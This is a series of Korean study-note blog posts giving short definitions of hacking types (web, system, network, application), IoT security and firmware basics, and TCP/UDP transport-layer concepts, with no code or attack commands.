- CSRF Cross Site Request Forgery : XSS와 동일하게 악의적 스크립트 삽입. 웹서버 공격

- 파밍 Pharming : DNS를 해킹하여 위장 사이트를 보내는 기술

- SQL 인젝션 : 로그인시 입력 박스의 데이터는 SQL로 조회. 이를 악용.

- 웹 셸 : 파일 업로드를 악용하여 악의적인 파일을 업로드.

 

 

 

 

시스템 해킹

- 컴퓨터 시스템에 들어가 데이터나 권한 등을 탈취하는 행위

- 컴퓨터 시스템의 구성 요소 : HW, OS, 프로세스 -> 서로 인터페이스를 통해 정보를 주고받음. 그 사이를 침투

- 백도어 : 해커가 타인의 PC를 제어하도록하는 프로그램

- 레지스트리 공격 : 레지스트리를 조작하여 비밀번호 초기화, 방화벽 변경 등 공격 수행

- 버퍼 오버플로 buffer overflow : 잘못된 데이터를 입력하여 메모리에 해커가 원하는 데이터를 넣고 실행하는 공격.

- 루트킷 : 루트 권한 획득, 백도어, 위장 등 기능을 가진 프로그램

 

 

 

 

네트워크 해킹

- TCP/IP 프로토콜의 취약점을 악용하는 행위

- 포트 스캐닝 : 서버나 컴퓨터가 열린 포트를 찾는 방법

- 세션 하이재킹 : 세션에 존재하는 정보를 탈취하는 행위

- DoS Denial of Service : 대량의 패킷을 전송하여 서비스 거부를 일으켜 동작 못하게 만드는 기술

- 패킷 스니핑 : 동일한 네트워크에 이동하는 패킷을 훔쳐보기

- 스푸핑 spoofing : PC의 ARP 캐시 테이블을 조작하여 해커에게 정보를 전달하게 만드는 행위

 

 

 

 

어플리케이션 해킹

- 프로그래밍 언어로 만든 SW의 취약점에 접근하여 악용하는 행위

- 메시지 후킹 : 키로거의 경우 키보드 입력 메시지를 가로챔

- DLL 인젝션 : 악의적인 DLL을 어플리케이션에 삽입

- 코드 인젝션 : DLL 대신 악의적인 쉘 코드 삽입

- API 후킹 : 디버깅 프로세스에서 악의적인 코드 삽입

 

300x250

'컴퓨터과학 > 통신, 보안' 카테고리의 다른 글

해킹 - 4. 윈도우 어플 해킹 개요  (0) 2020.07.29
해킹 - 3. 관련 용어  (0) 2020.07.28
해킹 - 1. 해킹 개요  (0) 2020.07.28
Iot 보안  (0) 2020.07.25
네트워크 - 9 전송 계층 프로토콜  (0) 2020.05.18
728x90

해커와 크래커

- 해킹 : 네트워크와 컴퓨터 내부를 돌아다니는 행위

- 크래커 : 악의적인 해킹을 하는 해커

- 화이트 해커 : 크래커로부터 시스템을 보호하는 해커

 

 

해커의 일

- 취약점 점검 : 포트 스캐닝 등 다양한 기법으로 SW, Network, HW 취약점 점검

- 포렌식 : 범죄 증거 찾는 일

- 보안 관제 : 대규모 시스템 관리

- 침투 테스트 : 보호 되어야 하는 네트워크로 접근 가능한지 확인하는 행위

 

 

해킹의 종류

- 네트워크 해킹 : 열린 포트를 찾거나 패킷을 수집 분석(스니핑), 서버로 위장하여 공격(스푸핑)

- 어플리케이션 해킹 : 임의의 라이브러리나 소스 삽입, 키보드 입력 가로채기

- 웹 해킹 : 웹 크롤러, 입력 박스에 오류코드 주입(SQL 인젝션), HTTP 패킷 수정하여 악의적 파일 업로드

- 시스템 해킹 : 해커가 PC를 제어가능한 백도어 작성, 레지스트리 검색 및 수정 등

 

 

300x250

'컴퓨터과학 > 통신, 보안' 카테고리의 다른 글

해킹 - 3. 관련 용어  (0) 2020.07.28
해킹 - 2. 해킹 종류  (1) 2020.07.28
Iot 보안  (0) 2020.07.25
네트워크 - 9 전송 계층 프로토콜  (0) 2020.05.18
네트워크 - 8 라우팅 프로토콜 2  (0) 2020.05.18
728x90

1. 하드웨어

1.1 개발 보드 development board, evaluation kit(board)

- ATmega

- Arduino

- micro bit

- STM series

 

1.2 라즈베리 파이

- 5V micro usb로 전원, 2.5mA 전류

- GPIO 50mA 전류, HDMI 50mA 전류, 250mA 전류 소비

 

1.3 GPIO

- General Perpose Input/Oupu, GPIO

- 사용자 제어 가능한 디지털 신호 핀

 

1.4 센서

- GPIO 핀으로 센서를 연결하여 사용 가능

- 온습도, 동작, 무선, 적웨선, 블루투스, 모터 센서 등

 

 

 

 

 

 

 

2. IOT 취약점

2.1 HW

- 계정 취약점

- 취약한 API키

- 히스토리

- 로그

 

2.2 통신

- 보호되지 않는 통신

- 입력값 조작

- SSL 통신 취약점

 

2.3 센서

- 보호되지 않는 통신

- 입력값 조작

 

2.4 모바일

- APK 디컴파일

- 관리자 웹페이지

- 중요정보 노출

 

 

 

 

 

 

 

 

 

 

3. 펌웨어

3.1 펌웨어

- ROM에 저장된 하드웨어 제어 프로그램

 -> 하드웨어 초기화 목적

- 제어 회로를 하드웨어로만 만들기 힘듦으로 펌웨어 활용

 

 

3.2 펌웨어 구성

- 부트로더 : 부팅에 필요한 프로그램

- 커널 : 운영체제 커널

- 파일 시스템 : 펌웨어 소스 있는 공간

- 기타 : 데이터 저장 공간 등 기타 영역

 

3.3 펌웨어 쓰기

- 롬라이터로 ROM에 펌웨어 쓰기

- JTAG Joint Test Action Group

  : 펌웨어 업로드 및 디버깅 시 사용. 

  인터페이스 - TDI 데이터 입력, TDO 데이터 출력, TCK 클럭, TMS 모드, TRST 리셋

 

- UART Universial asynchronous receiver/transmitter

  : 병렬 데이터를 직렬로 변환하여 비동기 통신 수행하는 하드웨어. 

   RS-232, RS-422 통신 표준 방식과 같이 활용됨. 

   인터페이스 구성 - Tx Transmit, Rx Receive, GND Ground, Vcc Voltage 

 

 

 

 

 

 

 

4. 분석 도구

- AttifyOS : 취약점 진단 도구들이 있는 운영체제

- Binwalk :펌웨어 바이너리 이미지에서 데이터, 파일 추출하여 분석하는 도구

- FMK Firmware Mod kit : 펌웨어 이미지 추출 및 리빌드 도구

- Nmap : 포트, 서비스, 취약점 스캐닝 및 점검 수행 도구

- Armitage : GUI 환경 취약점 진단 툴

- webgoat : 웹 해킹 연습 환경

- Yasca : 정적 코드 분석 도구로 보안 취약점, 코드 품질 등을 분석

 

 

 

 

 

 

 

 

 

5. 통신과 프로토콜

5.1 IoT 취약점

- Iot 시스템에서 장치와 게이트웨이 간 통신에서 RF, Zigbee, Wifi, 블루투스 등 이용

 -> 취약한 RF나 암호화 하지 않을 시 스니핑 가능

 

5.2 SDR software defined radio

- 소프트웨어로 하드웨어 설계하여 신호 송수신

 -> RF 신호 도청, 재전송, 재밍 등

- ex : Hack RF

 

5.3 MQTT Message Quee Telemetry Transport

- 경량화 Iot 프로토콜로 메세지 송수신 수행(스택 : MQTT < TCP< IP)

- 사용 예시 : RFID, POS, 교통 모니터링 등

- 장점 : 큰 오버헤드 없이 대량 데이터 전송, 최소한 패킷 사용

- 최약점 : 암호화 하지 않은 경우 내용 노출 및 변조 공격에 취약

 

5.4 Wifi

- 패킷 암호화와 인증 필요

- 무선 전송 구간만 암호화 한 경우 : Wifi 네트워크를 공격 가능

- 암호화 하지 않은 경우 : 신호를 재전송 하거나 변조, 내용 확인 등 가능

- Aircrak-ng : WEP와 WPA/WPA2 크랙 및 분석 도구가 통합된 네트워크 SW

 

5.5 Zigbee 지그비 통신

- 단순 프로토콜 스택 구성. 낮은 데이터 전송 속도 긴 베터리 수명 요구시 사용

300x250
728x90

전송 계층 개요

- TCP/IP 프로토콜의  전송 계층은 End-to-end

* 데이터 링크 계층 : 노드와 노드간 링크에서 데이터 전송 방법 정의(MAC 프레임, 이더넷 프레임)

* 네트워크 계층 : 경로 설정. 오류제어, 흐름제어. (라우터)

* 전송 계층 : 송신 호스트와 수신 호스트간 전송 방법 규정 (TCP, UDP)

 

인터넷 프로토콜 계층 구조

 

-

전송 계층

- 송신 호스트와 수신 호스트간 전송 방법 규정 TCP, UDP

- 흐름 제어 : 송신 호스트와 호스트 간 전송속도 차이 제어. 슬라이딩 윈도우

- 오류 제어 : 데이터 분실, 오류시 재전송. selective/Stop and wait/ go back n ARQ

- 연결 지향 서비스 : TCP

- 비연결 지향 서비스  : UDP

 

 

소켓

- IP + 전송 계층 포트 번호

 ex) 192.168.10.1:80

소켓 개념

 

 

 

TCP 프로토콜

- 송신 호스트 프로세스와 수신 호스트 프로세스간 연결형 서비스 제공하는 전공 계층 프로토콜

- 흐름 제어, 오류 제어로 신뢰성 있는 데이터 전송

- 데이터 단위는 세그먼트

TCP 세그먼트 구조
TCP 프로토콜 모니터

 

 

TCP 포트 번호

- 포트 길이 : 16비트.

- 잘알려진 포트 : 1 ~1023

 ex) 21(FTP), 22(SSH), 23(TELNET), 25(SMTP), 80(HTTP)

 

 

UDP 프로토콜

- 송신 호스트 프로세스와 수신 호스트 프로세스의 비연결형 서비스 제공하는 비연결형 전송 계층 프로토콜

- 비연결형 : 호 설정 없이 브로드캐스트 방식 전송

- 비신뢰성 : 오류제어, 흐름제어 x

- 실시간 전송

- 데이터 단위 : 데이터그램

UDP 프로토콜 헤더 구조

 

UDP 프로토콜 모니터

 

 

 

 

300x250

'컴퓨터과학 > 통신, 보안' 카테고리의 다른 글

해킹 - 1. 해킹 개요  (0) 2020.07.28
Iot 보안  (0) 2020.07.25
네트워크 - 8 라우팅 프로토콜 2  (0) 2020.05.18
네트워크 - 7 라우팅 프로토콜  (0) 2020.05.18
네트워크 - 6 인터넷 보조 프로토콜  (0) 2020.05.18

+ Recent posts